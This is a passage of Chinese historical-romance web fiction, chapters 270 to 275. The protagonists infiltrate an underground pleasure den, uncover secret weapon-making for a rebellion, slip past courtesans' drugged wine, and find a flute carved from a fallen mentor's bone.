所幸,那脚步声停了下来。 “怎么了?”有人问。 另一个声音好似松了口气,“好像有人跟着咱?” “这可是销金窝,谁敢跟着咱?都忙着快活,哪有空跑这犄角旮旯里来?快走吧,上面还等着呢!” “好,走吧!” 须臾,脚步声彻底消失。 陈识月一颗心终于落回肚子里,以手指轻轻戳了戳他坚硬的胸膛,“走了。” 这人的胸膛硬得跟石头似的,硌得他生疼。 “你硌着我了。”见霍青行无动于衷,陈识月低声嗔怪,“怎么哪儿都是硬的?” 霍青行喉间滚动,默默的松开手,“以后你会知道的。” 陈识月:“嗯?” “没事。”他牵着她的手,缓步往前走。 回过神来,陈识月示意他不要担心,“我能找到他们,你不必跟得那么紧,跟着我走便是。” 这地方没有多余的人过来,循着味就能找到人。 霍青行没有再多说什么,横竖只要保护好她就是。 二人七拐八拐的,也不知道走了多久,终于停了下来。 正前方,是一面石壁。 “气味到这里就消失了。”陈识月解释。 霍青行松开她的手,缓步上前,徐徐触摸过岩壁,冰凉彻骨,但没发现什么缝隙,若是气味消失在此处,必定是有暗门在此。 门在哪? 陈识月上前,上手帮着摸。 岩壁凉得厉害,摸上去也没什么异常,未见有风,气味因着凉意而冻结,几乎是微乎其微。 陈识月凑上去,手摸不出来,只能闻着味试试…… 霍青行:“……” 好像是闻到了异常,陈识月蹲在地上,对着墙角使劲的嗅来嗅去,然后揉着鼻尖起身。 “怎么了?”霍青行问,“有发现?” 陈识月想了想,“你说,石壁那边会不会有人呢?” 霍青行没办法回答,附耳贴在墙壁上,没能听出个所以然来,这石壁实在是太厚实了,根本无法听到对面的动静。 “这道门要是打开了,会不会就有人冲过来把我们抓起来?”陈识月又问。 霍青行听得她这般言语,他就已经做好了动手的准备。 见此情形,陈识月深吸一口气,“准备了。” 霍青行点头。 两人对视一眼,紧接着便是陈识月一脚就踹在了墙根上。 霍青行:“……” 所以她方才闻到了脚臭味? 这帮杀千刀的! 门轰隆一声开始挪动,紧接着便是一道缝隙逐渐扩大,一个洞口出现在二人面前。 幸运的是,那边没有冲出来人来,不知道是太过放心,还是这本就不是什么秘密通道,霍青行率先过去,确定安全之后这才回来带走了陈识月。 “我方才过了一遍,没发现什么看守,不知道是他们太放心,还是着实大意了?”霍青行幽幽启唇,目光锐利的扫过周遭,以防万一。 陈识月瞧着周围这些高耸的岩壁,钟乳石上的水,时不时滴落在地,整个洞窟都是阴森森的,凉意入骨,偶尔会有水滴落在身上,冻得人直接一个激灵。 这可真不是什么好地方! “可能是有人罩着,又加上这些年一直相安无事,所以没放心上吧!”陈识月解释。 霍青行应了声,带着她小心往前走。 在走到了分岔路口的时候,他回头用眼神询问。 “跟我走!”陈识月反客为主,带着他朝着左边的岔道走去。 但是没走两步却被霍青行摁住,不由得眉心微蹙。 “有人!”霍青行拍了拍她的肩膀,示意她站在原地不要动。 陈识月是个机灵的,见洞就钻,见障碍物就躲,她不会功夫,不能成为他的拖累,所以在他探查险情的时候,她第一要务就是保证自身安全,让他没有后顾之忧。 霍青行悄然往前挪去,这石道狭窄得只能通过两个人,但往前走几步,拐个弯就豁然开朗了,竟又是一片宽阔的空间。 只不过……空间在脚底下,他们好似处在了半山腰,要下去的话得从旁边那条羊肠小道走,沿着岩壁肯定会被人察觉,所以暂时没想好要怎么下去。 想了想,霍青行退回去,拉着陈识月一起过来看热闹。 陈识月:“……” 好嘛,这是真的热闹。 “这底下在干什么呢?”她原本还担心,石门一开,就有一帮人冲出来要宰了他们两个,没想到这石门一开,底下是一群蚂蚁搬家。 霍青行皱起眉头,“像是在冶铁。” “私造兵器?”陈识月陡然明白,他说的意思,“真的要造反啊?” 霍青行没说话。 是不是真的要造反,他们也不清楚,但是看情况是不太对的,销金窝就销金窝,你可以吃喝玩乐,但你不能私造兵器啊! 私造兵器,那就是造反没跑了! 心里清楚,但还得有别的证据。 “造这么多的兵器,需要大量的铁矿,还有煤炭……”陈识月想起了之前的事情,哪个被掏空的鬼村,莫不是也有牵连其中? 一颗心七上八下的,陈识月有些慌乱,一时间也不知道还能说点什么? “藏在这里没人知道,但运出去总得有个地儿,是送往边关,还是囤积在某个地方呢?”霍青行轻轻握住陈识月的手。 心下一惊,她手心冰凉。 吓着了? 手上的温暖,让陈识月猛地回过神来,面上微热,默默的撤回手,“我没事,你别担心,只管去做你要做的事情,我可以保护好自己的。” “你躲好,我去周围看看。”霍青行把她安置在阴暗的角落里,其后挪动了石头堵在边上,以便于遮挡她的身形。 “要小心。”陈识月叮嘱。 霍青行颔首,快速离开。 四下黑漆漆的,但底下冶铁的叮咚声还在继续,时不时出传入她的耳中,心里有些乱糟糟的,没想到这销金窝里还藏着这样一个地方。 若是如此,是否意味着上柳居士也可能参与其中? 参与谋反? 那国公府一案,父亲的案子,到底是不是冤枉的? 陈识月忽然没底气了,脑子里乱得缕不清楚思绪,如果不是冤枉的,那她该如何是好?这辈子都得背上罪臣之女的名头,永远都是不见天日的鼹鼠,永远都要藏起来。 她蹲在黑暗中,只觉得遍体生寒,突如其来的变故与胡思乱想,真真是内耗。 倒不似霍青行洒脱,他认定的事情,绝不更改! 认定的人,此生不悔! 霍青行纵身一跃,悄无声息的隐入黑暗中…… 第二百七十一章 来自直男的嫌弃 霍青行脚下很轻,动作很快,一个闪身便蛰伏在幽暗的角落里,冷眼看着忙碌的人群,这帮人动作麻利,训练有素,周围还有护卫看顾,可见非一朝一夕,这绝对是习以为常。 看这里的场景,应该有不少年头了。 冶铁可不是小事,毕竟锻造的技术不过关,根本造不出来精良的兵器,是以这里肯定有工匠,还得是极好的工匠,寻常的打铁匠修补修补铁器倒也罢了,要是锻造这么多的兵器用作上战场,充作军资之用……可不是这些铁匠能做的。 锻造的热度,煤炭燃烧的程度,以及铁器的重量和精度,都需要军中或者是朝廷特许的匠人,按照一定的比例、形式方可! 朝中有人…… 要谋反?! 霍青行狠狠闭了闭眼,真是好得很! “都动作麻利点,动作快点!” “那边扎捆装箱,快一些。” “下一批铁矿石还没到吗?这边都快接不上了。” “上次被一锅端了,后交付了朝廷看守,断了我们最大的供应,现如今只能三三两两的从别处挪回来,这才导致了时常供应不上的结果。” 闻言,霍青行明白了,原来如此啊! 鬼村里的事情,还真是…… 霍青行回过神来,瞧着那帮人快速离开,转身便也纵身一跃,趁着众人不备,快速打晕了一人拖进了暗处。 再出来的时候,他是搬运的小工。 沉重的箱子抱起,紧随着众人缓步朝着一个出口走去。 这边的工人就像是提线木偶,一个个都神情麻木,一个个都忙着手上的活计,谁也不搭理谁,趁这个机会,霍青行查看了箱子里的东西。 有不少瓷器,但是瓷器里面却装着刀剑还有箭矢,瞧着还需要再加工,没有刀鞘也没有剑柄,箭矢也没有开封,这些东西都是要经过二次组装,方可使用的。 这不是终点,这可能是个起点…… 那么,就该弄清楚,他们的终点在哪? “动作都麻利点,不要东张西望。” “一个个都快些,耽误了船只,为你们是问!” “快点,快点!” 霍青行搬运着木箱,跟着一帮人走到了暗河边上,这边的船与之前接人的船完全是两个概念,这边是货运的船只,船夫一个个都是穿着黑衣,一个个都面容遮掩,只露出黑洞洞的眼睛。 每一艘船都站着两个黑衣护卫,手中持刀,一个个目光锐利,似乎是为了看守船上的货物…… “快点!” “动作快点!” 每个人都在催,每个人都在忙。 霍青行倒是想登船跟着走,奈何…… 不能打草惊蛇。 想了想,他放下了箱子便转身离开。 不瞬,他退回了库房附近,褪下衣裳连同那具尸体,悄无声息的沉入暗河中。 扫尾工作结束,霍青行快速离开。 等他回来的时候,陈识月已经浑身发冷,焦灼得都要冒火了,见到光亮的时候,慌忙站起身。 霍青行骇然,所幸眼疾手快,伸手挡住了她的头顶乱石。 只听得“砰”的一声响,霍青行自己都愣了愣,心里却庆幸万分,还好还好,没磕着她,要不然这磕着她脑袋,得多疼啊? 陈识月骇然,因为在里面待得麻木,一下子腿麻往前扑,登时扑进了霍青行的怀里。 霍青行闷哼了一声,毫不犹豫的将人抱在怀中,“慢点,慢点!” “我没事!”陈识月顾不得其他,慌忙握住霍青行的手,查看他的手背。 血淋淋的,被乱石刮开了一道口子。 如果当时她不那么着急,若是没有他这一挡……这些本该落在她的头上。 “你是不是傻?”陈识月面色焦灼,“我又不会受伤,你、你……还好没伤着骨头,否则该如何是好?你这双手,是要用来领兵打仗的。” 霍青行不以为意,“你都说了,我这双手是用来领兵打仗的,若是连你都护不住,那我还领什么兵打什么仗?这么点小事都做不好,怎么做大事?” 何况,只是一点皮外伤而已。 他知道,她有自愈的能力,可他不敢保证,那自愈的能力是否要付出代价?天下没有白吃的午餐,那本就是蛊虫赋予的特殊之处,谁知道会有什么异常? 他不敢想,也不敢让她用。 “我没事,我们走!”瞧着她好像红了眼眶,霍青行忙不迭拉起她往外走,“此处不宜久留。” 先转移她的注意力,免得她盯着难受。 “我边走边与你说,我发现了什么?”霍青行悄摸着睨她一眼,愈发握紧了她的手。 陈识月来不及悲春悯秋,来不及关心他的皮外伤,就已经被带出了那道石门,转个弯就回到了最初的热闹街市。 回到街市上,放眼望去,似乎没瞧见林序和掌柜他们。 “走!”霍青行带着陈识月往前走。 面具之下,谁认识谁呢? 赌坊那边热闹得很,有人高声叫嚷着,有人推推搡搡的,输赢不过眨眼间,瞧得人眼花缭乱的。 “那边!”陈识月忽然扯了一下霍青行。 霍青行皱眉。 旁人他兴许认不得,但是日夜相处的弟兄,还是能一眼看出来的,林序那小子歪歪扭扭的,好像是喝醉了酒,这会正被一个姑娘拉扯着进了洞窟花楼。 好家伙,这是被乱花迷了眼? 还是被狐狸精迷了心智? “走!”霍青行二话不说,就带着陈识月往花楼而去。 只不过…… 眼见着到花楼跟前了,霍青行停下脚步。 “走啊!”陈识月不解。 霍青行犹豫,“你也去?” “我不能去吗?”陈识月不明白,“花楼里不是男子就是女子,我并非不男不女,为何不能去?” 霍青行:“……” 好像有点道理。 “走吧!”陈识月率先往内走。 一袭男儿装束,又戴着面具,谁知道是男是女?何况陈识月的身上没有脂粉香气,本就在乡野待了多年,没那么多女儿家的拘束。 见着有人进来,花楼里的妈妈赶紧迎上来,笑嘻嘻的凑到了陈识月跟前,“哟,客官来快活呀!” “人这么多?”陈识月语气里带着嫌弃。 妈妈当然是个有眼力见的,忙不迭伸手一指,笑着招呼二人,“楼上请!胭脂,红英,快招待两位贵客上二楼。” “知道,妈妈!” 两个如花似玉的姑娘,就这么妖妖娆娆的扭着腰,一步三扭的扭到了二人跟前,笑得那叫一个花枝乱颤,半推半就的推搡着陈识月和霍青行。 隔着面具,陈识月都能感觉到来自于霍青行的嫌弃…… “别拉着我,放手!放开!” 第二百七十二章 你也有怕的时候? 推推搡搡上二楼,即便是隔着面具,陈识月也能感受到霍青行的火气,几乎是在濒临炸裂的边缘。 “两位客官。”胭脂笑盈盈的把陈识月摁坐在了凳子上。 霍青行眉心陡蹙,一把掀开胭脂的手,“别碰她!” 大概没料到霍青行居然会这般紧张,陈识月忙不迭摁住他,以免他的领地意识会坏了好事,“都是进来快活消遣的,你莫要如此拘谨。” 语罢,陈识月笑盈盈的起身,“两位姐姐不要在意,我这兄弟没出过门,在家也是个乖顺听话的,这会还紧张着呢!” “原来如此。”胭脂笑得花枝乱颤,冲着红英使了个眼色。 红英转身从边上的柜子上,将雕花瓷壶取下,与胭脂交换了一个眼神,便斟酒两杯,递到了陈识月和霍青行的眼前。 “两位公子初来乍到,不必如此紧张,喝两杯酒就能快活起来。”胭脂笑着将杯盏递到了陈识月的跟前。 陈识月可是大夫,闻一闻,便已经心中了然,这不是蒙汗药,这是迷魂药,能让你迷失其中,让你乐不思蜀,将人性最阴暗最贪婪的一面,释放得淋漓尽致。 思及此处,陈识月冲着霍青行使了个眼色。 “两位公子不会喝酒?”胭脂见他们迟疑,试探着问了一句。 霍青行没吭声,等着她来全权处置。 陈识月伸手接过杯盏,顺道将面具取下。 少年人眉眼温柔,颇有一副书卷气,倒似书生一般温和从容。 胭脂和红英眼里有惊艳之色,转而又对视一眼,愈发盯紧了陈识月,相较于身形魁梧的霍青行,委实比如陈识月这样清秀的俊俏少年。 身形魁梧的粗人,容易坏了姑娘的身子,所以…… “素日里要读书,很少来这样的地方,也没机会喝酒。”陈识月解释,“尤其是我这兄弟,成日里混在男人堆里干粗活,又怎么可能有这样软玉在怀的经验?” 两个姑娘登时笑出声来,红绸帐暖,灯火摇曳。 “既是来了,自是要快活。”说着,胭脂将杯盏往陈识月的唇边递去,却被陈识月反扣住。 只瞧着陈识月拎起酒壶,兀自倒了一杯酒,“既然是喝酒,自然是要一起喝的,哪儿有只让我们喝的道理?来,你们也喝一杯。” 看得出来,陈识月这是故意展露了警惕性。 对方似乎也没有抗拒的意思,大概也是见得多了,并不是所有人都那么乖顺的,总有那么几个心里提着醒的。 “好!”胭脂仰头喝下。 一旁的红英也不例外,一仰头便将杯中酒一饮而尽。 见此情形,陈识月如释重负的吐出一口气。 “公子,那您也赏个脸,好好喝一杯?”胭脂重新将杯酒递过去。 陈识月伸手接过,霍青行的一颗心旋即提到了嗓子眼。 然而下一刻,胭脂眼一闭,与红英几乎是同一时间倒地。 “这是……”霍青行愣了愣。 陈识月放下手中杯盏,“她们能给咱下迷魂散,我为何不能?别忘了,咱是大夫,论起这些手段,比她们更胜一筹。” “我把人挪一下,咱这就出去。”霍青行动作快,麻溜的把人丢到角落里,以帷幔遮掩。 其后,二人便快速出了门。 花楼里那么多的客人,那么多的姑娘,谁还能面面相觑,所以段时间以内,不会有人发现胭脂和红英的失踪。 霍青行在前面带路,陈识月在后面跟着。 雅间的门几乎都是虚掩着的,人进人出,好不热闹。 他们就一间一间的找过去,奇怪的是,好像一直没找到林序的身影,也不知道这小子到底跑哪儿去了?明明看着他进来的,怎么一闪身就不见踪影了呢? “这边找遍了,没有。”陈识月狐疑,“难道没上楼?” 这花楼弄得跟迷宫似的,因为是倚着石窟而建,是以洞窟加上人工开凿,都是顺势而为,内里九曲十八弯的,若不留心周围,很容易迷路。 “去那边看看。”霍青行掉头回去。 方才他们经过的时候,有个岔路口,所以这会退回去,朝着另一条路走。 只不过那条路上似乎有点安静,尤其是拐个弯过去之后,好像…… “站住!”忽然间有人冒出来,冷着声音低喝。 陈识月心头一紧,所幸有霍青行快速转身,拱手揖礼,“敢问,这里……” “这里不可过去。”有两名身着黑衣的男子,挡在了霍青行的跟前,两人各自手中持剑,目露凶色,“你们两个,立刻离开,否则休怪我们剑下无情。” 霍青行颔首,“抱歉,误入。” “滚!” 霍青行旋即带着陈识月离开。 滚就滚! 但,不会滚远。 回到分岔路口,陈识月与霍青行对视一眼,默契的分头离开。 果然,身后有人跟上了。 这本就是销金窝,是个龙蛇混杂之处,多疑才能活下来,所以两个误闯的人,不能仅凭三言两语就糊弄过去。 陈识月快速回到了人群中,熙熙攘攘的恩客,到处都是吵闹声。 不瞬,她便已经失去了踪迹。 大概是觉得,这真的是误入,所以身后之人快速转回。 霍青行那边也是同样的情况,在对方转回的同时,他也跟着转回,悄无声息的跟上去,一路尾随。 这边的石窟瞧着也是雅间,但与那边大门虚掩,可随时进出不一样,这边显得分外安静,瞧着好像是用来特别招待贵客的? 霍青行纵身一跃,身子如同蝙蝠一般,到挂在上方的石柱上,瞧着巡逻的护卫从底下掠过,屋内时不时的传出欢声笑语,伴随着女子银铃般的娇俏之音。 林序这小子,竟敢跑这儿来? 待他姐姐知晓,怕不是要打断他的腿。 待巡逻的护卫过去,霍青行轻轻一跃便落在地上,转身便隐匿在黑暗中。 一窗之隔,他听到了有人交谈的声音。 好像是几个男人? 这可是花楼,进来都是寻快乐,喝花酒的,可这声音听着倒是十分郑重,一点都没有轻浮之色,像是在说什么大事? 果然,还真是大事。 “封矿?”有人冷笑两声,“你知道自己在说什么吗?你知道封矿会带来什么结果吗?” “眼下状况不乐观,若是继续下去,怕是要惹来灾祸。”对方显然不想继续了。 男人嗤笑两声,“你怕了?” “朝廷已经有人盯上了销金窝,若是再这样下去,只怕……”男人的声音戛然而止。 可等待他的事嘲讽冷笑,“哈哈哈,你什么时候变得如此胆小怯懦?” 第二百七十三章 姑娘的腰软吗? 不知道为何,霍青行隐约觉得这声音好似在哪儿听过,但也可能只是听过,一时间还真是想不起来,到底在哪儿听的? 那人被讽刺,却也不恼,只是低低的叹了口气,“形势所迫,不能操之过急。” “形势?不过几个跳梁小丑,你就吓成这样?”男人还是嗤笑,“我就不信了,他们真的能翻了天?你就别庸人自扰了,如今边关形势刻不容缓,若是耽误了大事……” “大事?若是被人抓住把柄,这销金窝要是保不住,你才是真的摊上了大事!”男人的语气里,透着几分冷意,“别怪我没提醒你,朝廷盯上了,皇帝一定会留心。帝王多疑,有些事情不是你想遮掩就能遮掩的。” 霍青行皱起眉头,他们这是想撤? 这可不行。 环顾四周,偌大的销金窝藏污纳垢,若是不能一锅端,岂非可惜? “怕什么?朝堂之上也有不少咱的人,随时留意朝廷的动向便罢了。”男人不以为意,“皇帝高居庙堂,坐在金銮殿上,他懂个屁!还不是咱说什么,就是什么?一叶障目不见泰山,言路闭塞,皇帝又如何?他能知几何?” 事实如此。 帝王所有的感知,都来源于奏折,还有派出去的密探,只要斩断某些途径,皇帝就是个眼瞎耳聋的废物,满朝文武说什么就是什么。 “你说得轻巧,你以为皇帝是这么容易被糊弄过去的?”男人有点不耐,“身经百战,虽然年迈,但又不是傻子。没听过一句话吗?帝王一怒,伏尸百万。” 话音消失了,好像二人起身往外走。 脚步声响起,门开了,然后……门又合上。 霍青行怕被人抓住,须臾才敢探头出来查看,但是那二人已经走远,即便是隔着一段路,也能看到后面追随的护卫。 如此严阵以待,说明身份不俗,贸贸然上前只会打草惊蛇。 不过…… 林序在哪? 这小子怎么跑没影了? 回过神来,霍青行赶紧去找人,惟愿这小子别出事才好。 终于,找到了。 透过窗户缝隙,霍青行看见了喝着酒,“醉”得东倒西歪的林序,面具已经摘下,面颊两坨绯红,瞧着好像是喝了不少酒。 霍青行的一颗心,止不住紧了紧。 不会是喝了,掺了迷魂散的酒吧? 这小子!! “来啊公子,我们继续喝。”边上的姑娘媚眼如丝,一遍遍娇滴滴的喊着公子公子,直把林序喊得那叫一个心花怒放。 林序笑得见牙不见眼,活脱脱一副花天酒地的公子哥做派,若不是霍青行知道他的确是林序,怕是真的要被他这副样子给糊弄过去。 这般潇洒恣意,若不打他一顿就真的说不过去了! “来,喝!”林序高举杯盏,仰头将杯中酒一饮而尽。 身侧两个姑娘互相怂恿着,你一杯我一杯,不断的哄着林序喝酒,不过她们自个也喝了不少,只是……喝着喝着,率先倒下的不是林序。 而是…… 两声闷响,霍青行皱起眉头。 林序打了个酒嗝,眼皮子耷拉着,就像是忽然按了暂停键,坐在凳子上一动不动。 须臾,他才长长吐出一口气。 林序站起身来,先是走到水盆边上洗了把脸,然后又打了个酒嗝,转头就往嘴里塞了一枚药丸。 霍青行:“??” 吃什么了? 终于缓过劲来,面上的红晕退散了大半,林序似乎一瞬间神志清醒,睨了一眼地上的两个女子,头也不回的往外走。 一开门…… 四目相对,大眼瞪小眼。 霍青行双手环胸,靠在门框上,眼神凉飕飕的瞥向他,“快活吗?” 林序:“??” 都看见了? “小姑娘的腰,可还软乎?”霍青行挑眉。 林序:“额……” “抱着坐在腿上,是不是很舒服?”霍青行转身。 林序默默跟上,“没……没……” “没抱着,还是没搂着?”霍青行闪身隐匿在暗处。 林序不知道该如何反驳,悄摸着跟在霍青行的身后,摸了摸面上的面具,“少将军,这事可不敢往外说,若是让我姐姐知道,八成会打断我的腿。” “你也有怕的时候?”霍青行回头睨了他一眼,“说吧!” 到底是怎么回事? “刚踏上岸的时候,我就有些精神恍惚,也不知道怎么的,就跟着人走了。”林序低声解释,“等我缓过神来的时候,有人领着我进了赌坊,我在赌坊岸边听得有人交谈,说什么大人已经来了,然后我就跟着那人过来了。” 霍青行眉心微拧,“大人?” “他们是这么说的,所以我就跟着来了。”林序回答,“谁知道来了之后,就被半推半就的送进这边的雅间了,然后就……” 霍青行觉得不对,“这边好似有点特殊,寻常人不能过来,你是怎么过来的?” “嗯?”林序诧异,“这……我就是这么过来的。” 闻言,霍青行上下打量了他一番,忽然看见他腰间的玉佩,“你这哪儿来的?” 林序是个不安生的,所以玉佩不会挂在腰间。 何况,他也没有玉佩。 兄弟多年,霍青行还不清楚这小子有多少私产吗? “嗯?”林序当即取下,“诶,这哪儿来的?” 霍青行:“??” “这不是我的。”林序诧异。 霍青行剜了他一眼,“废话。” “不会是我神志不清的时候,顺手牵羊的吧?”林序皱了皱眉,心下有些狐疑,但委实记不太清楚之前的事情了。 霍青行顺手接过,仔细的查看,这玉佩莫不是同行的令牌,所以林序能畅通无阻的来这边,而没有令牌的他与陈识月,则被快速拦阻在外? “我是真不记得了,下了船之后就神思恍惚,也不知道这是哪儿来的。”林序皱了皱眉,“要不是一阵风把我吹醒了,我连自个在哪都不清楚。” 霍青行环顾四周,“那个大人……” “不知道,卑职跟过来的时候,就已经在房中了,刚摆脱那两个女子,就碰到少将军您了!至于那所谓的大人,应该是大人物,但是……不清楚大到什么程度。”林序琢磨着,“但是能在这里畅通无阻,来去自由,估摸着……小不了。” 金都皆是朝廷重臣,随便拎一个出来,都是了不得的人物,但是有一个致命的弱点,那就是皇帝! 普天之下莫非王土,率土之滨莫非王臣。 谁敢动皇帝的龙椅,这不是找死吗?! “人走了。”霍青行瞧见了,“我们先撤。” 这不是久留之地,先跟掌柜汇合再说。 第二百七十四章 这哪是玉笛? 霍青行带着林序出去的时候,陈识月就猫在人群里,左顾右盼的,她不会功夫,当然不能轻举妄动,要不然出了什么事,会连累所有人。 旁人如何,她不清楚,但若是自己出事,霍青行必定不会舍下她离开。 见着人回来,陈识月这才松了口气,身后无人跟随,快速上前与二人汇合,心照不宣的朝着一旁走去。 所幸众人都在快活,疯狂的嬉笑玩乐,无人留心他们三个。 “如何?”陈识月压低了声音。 霍青行偏头,示意出去再说。 妈妈和护院不在,三人当即顺着人潮而出,悄无声息的离开了花楼。 出了门,三人也不敢回头,快速行至岩角僻静处。 “可算是出来了。”林序松了口气。 陈识月忙问,“你们发现了什么吗?” “不知道是哪位大人?”林序道。 霍青行摇摇头,“我只看到背影,瞧着是有些年纪了,但没看到脸,一身便服,难辨身份。” “朝中之人?”林序小声琢磨,“不是同谋就是上峰,来历不小。” 陈识月见着二人也说不出个所以然来,旋即转移了话茬,“先找掌柜的他们吧?” 先汇合再说! “走!”霍青行走在前面,陈识月和林序则两侧相随,“林序,注意点,别在吸入那些迷魂香,免得到时候又走丢了。” 林序:“……” 此前不是没防备嘛! 所幸,相熟的人总能一眼就认出来,毕竟衣服没换,走路姿势又是原先那般,双眼一对视,几乎就认出来了。 一行人走到了暗河边上,有人竟在放河灯,也不知这河灯会流往何处? “没瞧见什么可疑的。”掌柜压低了声音,蹲在河边洗手,“悄摸着问过在销金窝的自己人,也说没听过上柳居士这号人物。” 霍青行瞧着一旁放河灯的陈识月,“他们一直在掳劫女子,若是能发现他们把这些女子送去了何处,也是极好的。我总觉得这笔买卖不可能毫无破绽,总要有账册或者是名单之类。” “你这么一说的话,倒是可行。”掌柜点头,“我去再打听,你们就四处转转,两个时辰之后我们就在渡头附近碰头。这里天亮之前必须走,不走的话就得留下来,要等着天黑才能继续离开。” 也就是说,天亮不见人,天黑方可出。 “知道了。”霍青行颔首。 两个时辰是最大的极限,天亮之前的极限。 两个时辰之后,进出销金窝的通道都会被关闭,他们想出去也不可能了,只能继续留在这里,风花雪月,吃喝玩乐,醉生梦死到……变成穷光蛋,然后被丢出去。 掌柜带着人快速离开,霍青行和林序则带着陈识月,沿着暗河边慢悠悠的走着。 “看不出来,还挺热闹的。”林序有些感慨,打量着周遭放河灯的男男女女,“都到了这地方,还想着祈福呢?” 这不是销金窝吗? 进了销金窝,不是来快活的吗? “男儿进了销金窝是为了快活,那女子是为了什么呢?”陈识月皱起眉头,“逛花楼和赌坊?” 霍青行身段颀长,站在石块上远眺,若有所思的看向正前方,“也许是为了前面。” 前面? 陈识月伸长脖子,没瞧出个所以然。 等到走过去,才发现这销金窝是真能找地,前面是花楼和赌坊,后面都是金银玉器,还有各式各样的布料、成衣,桩桩件件都捏住了女子的心思。 甚至于…… “南风馆?”陈识月站在门口,愣怔了好半晌。 是她想的那样吗? 霍青行扣住她的手腕,“不要看,一帮勾栏妖,容易把你带坏,你若真的想看……不如就看看我!” 陈识月:“……” 林序:不要脸! “走!”霍青行拽着陈识月就走。 陈识月下意识的回头多看一眼,只瞧着俊俏的儿郎身披薄纱,就这么依在门口,如同花楼里的姑娘一般面露魅惑浅笑,挥动着绢帕招揽着客人。 这世道待女子太过苛刻,容不得出格的行径,平日里亦不敢多看那些少年人一眼,但到了这里可以肆无忌惮,可以将这些少年郎收入囊中,做那帐中人、逍遥仙。 霍青行带着陈识月就走,脚步匆匆,好像慢一步,陈识月就会被勾走一般,抓着她手腕的力道不轻,疼得陈识月倒吸一口冷气。 “胳膊都快让你扯断了。”陈识月叹气。 林序在旁偷笑,与二人一道拐进了一家珍宝坊。 金银玉器,琳琅满目。 一件件华美无比,瞧着镶嵌的手艺,都是一等一的好,绝非寻常人可制。 陈识月拿起一枚玉簪,触手生温,油润无比,这是上好的白玉簪,虽然算不得一等一的羊脂白玉,但是市面上流通之物,亦甚少能得这样的成色。 不仅如此,还以金原皮为琢,雕了一朵腊梅花式,一气呵成,浑然天成,非能工巧匠不能得! “这位公子好眼光,这玉簪乃是天山白玉所雕琢,触手生温,玉质与雕工那都是没话说,这梅花雕得栩栩如生,乃是大家所成。”伙计上前介绍。 霍青行伸手接过,毫不犹豫的簪在了陈识月的冠上,真真是极好的! 林序对这些东西都不感兴趣,只是在店内到处溜达,女儿家对这些精致的头面首饰,总是极为感兴趣的,一个两个看得眼冒金光,瞧着好生欢喜。 相比起这些,林序对隔壁房间,各式各样的兵器比较感兴趣。 尤其是削铁如泥的匕首,锋利无比长剑,锃光瓦亮的大刀,还有蟒蛇鞭…… 蓦地,林序徐徐僵直了脊背,下意识的呼吸一滞。 这东西怎么会在这里? 大概是察觉到了林序的不对劲,霍青行付了银子,便缓步朝着林序走去,陈识月不解,当即跟上。 下一刻,霍青行也不动了。 陈识月:“??” 这什么情况? 前方是一柄玉笛,轻置于檀木架上,瞧着价格斐然。 看得出来,伙计和掌柜都对此颇为珍视,以檀木框架为罩,覆极为稀薄的轻纱,卷起一侧以供观赏,其他的三个面都是覆着轻纱,大概是为了防尘防潮防虫。 站在正前方,林序的胳膊都在轻颤,若不是霍青行当即摁住了他的肩膀,让他陡然清醒过来,只怕这会真的要出手了。 隔着距离,陈识月没瞧清楚,但是这会靠近了,终于辨出了不同之处。 这是…… 洁白如玉,质地厚重。 这哪儿是什么玉笛? 眉睫骇然扬起,陈识月陡然看向霍青行。 这是……骨笛? 第二百七十五章 林序哭了 是玉器还是骨器,陈识月是大夫,自然分得清楚,也许第一眼会看走眼,但是仔细看,这纹路走向,这质地……她认得出来。 人骨? 陈识月不敢置信的看向一旁的二人,见霍青行和林序面上的异色,她隐约好似明白了什么,莫不是他们知道这东西的出处? 若是如此,那这…… “冷静点。”霍青行摁住了即将上前的林序,“这是销金窝。” 不是他们可以放肆的地方。 打起来,他们不占上风,还可能吃大亏。 小不忍则乱大谋。 “公子,这东西为何会在这里?”林序回过神来,压低了声音,不敢置信的开口,“当初我们不是已经交给了朝廷?” 交付朝廷的东西,出现在销金窝的集市上,这是什么道理? 何况这东西…… 陈识月很少见到林序情绪失控的模样,毕竟这小子成日嘻嘻哈哈,好似什么都不放在眼里,素来心大,可此番却是红了眼睛,连小声说话时都好似在极力压抑着情绪。 “先出去再说。”霍青行扣住林序的手腕,带着他出了珍宝坊。 陈识月小心跟在后面,虽然不知道这到底是怎么回事,但料想肯定不简单,所以出去的时候,她万分小心,以免被有心人跟上。 所幸,没人留意到他们。 行至拐角僻静处,霍青行才松了手。 林序整个人都因为激动而颤抖起来,“公子,那骨笛……我绝对没有认错,下面那一道划痕,就是我当初划的,绝对不会错,一定没错。” “别激动,我知道,我都看到了。”霍青行摘下面具,眸底的恨意并不比林序少,“这说明我们身边已经有贼人,朝廷之上恶犬当道。” 林序摘下面具,“那是青山先生的腿骨。” 青山先生? 陈识月还是听过这个名号的,据说此人用兵如神,一直跟在霍老将军身边,是个了不得军师,是闻名天下的谋士,甚得霍老将军看重。 后来不知道怎么回事,竟是出了事,据说是被人出卖,被蛮子擒住,死在了蛮族帐中,幸得霍老将军拼死闯营,带回尸骨。 陈识月倒吸一口冷气,“那骨笛是……是青山先生的腿骨?” “吓着你了?”霍青行有些担忧。 陈识月忙摇头,“不是,我只是没想到会是这样的答案。那这东西怎么会出现在此处?” “当日父亲和我,带着霍家军去迎青山先生的尸骨,但是青山先生被、被……”霍青行犹豫了一下,当初的场景太过惨烈,饶是他身经百战,碰到自己身边的人出事,他也没办法干脆的说出口,“青山先生是被五马分尸的!” 陈识月身子微颤。 青山先生被五马分尸,躯干、四肢和头颅被分别挂在各处,相隔甚远。 “我们当时带着人闯营,只迎回了头颅和躯干。”霍青行解释,“但是少了两条腿骨。” 说起这个,林序竟不由自主的抹眼泪。 陈识月愣住,她是真的没想到,林序与青山先生的感情这么深? “那是我师父。”林序哽咽了一下。 半大小子哭红眼,死死咬着唇,吭哧吭哧的喘着粗气。 “林序是拜入了青山先生的门下,算是半个父亲。”霍青行抹一把林序脸上的泪,“七尺男儿,流血不流泪,要是让你师父知道,你哭唧唧跟个娘们似的,肯定又要让你罚抄军规了。” 林序一抹眼泪,“我只是没想到,师父为国而死,可这些国之蠹虫,居然还把他的腿骨……这帮该死的畜生,最好别让我查到是谁,否则我必要剁碎了他。” “那一仗,打得蛮子节节败退,但是我们也死伤无数。”霍青行继续说,“只是谁也没想到,朝廷这个时候要议和。” 最后一句话,把三个人都干沉默了。 朝廷要议和,不知道是谁提的,也不知道究竟怀揣着怎样的心思? 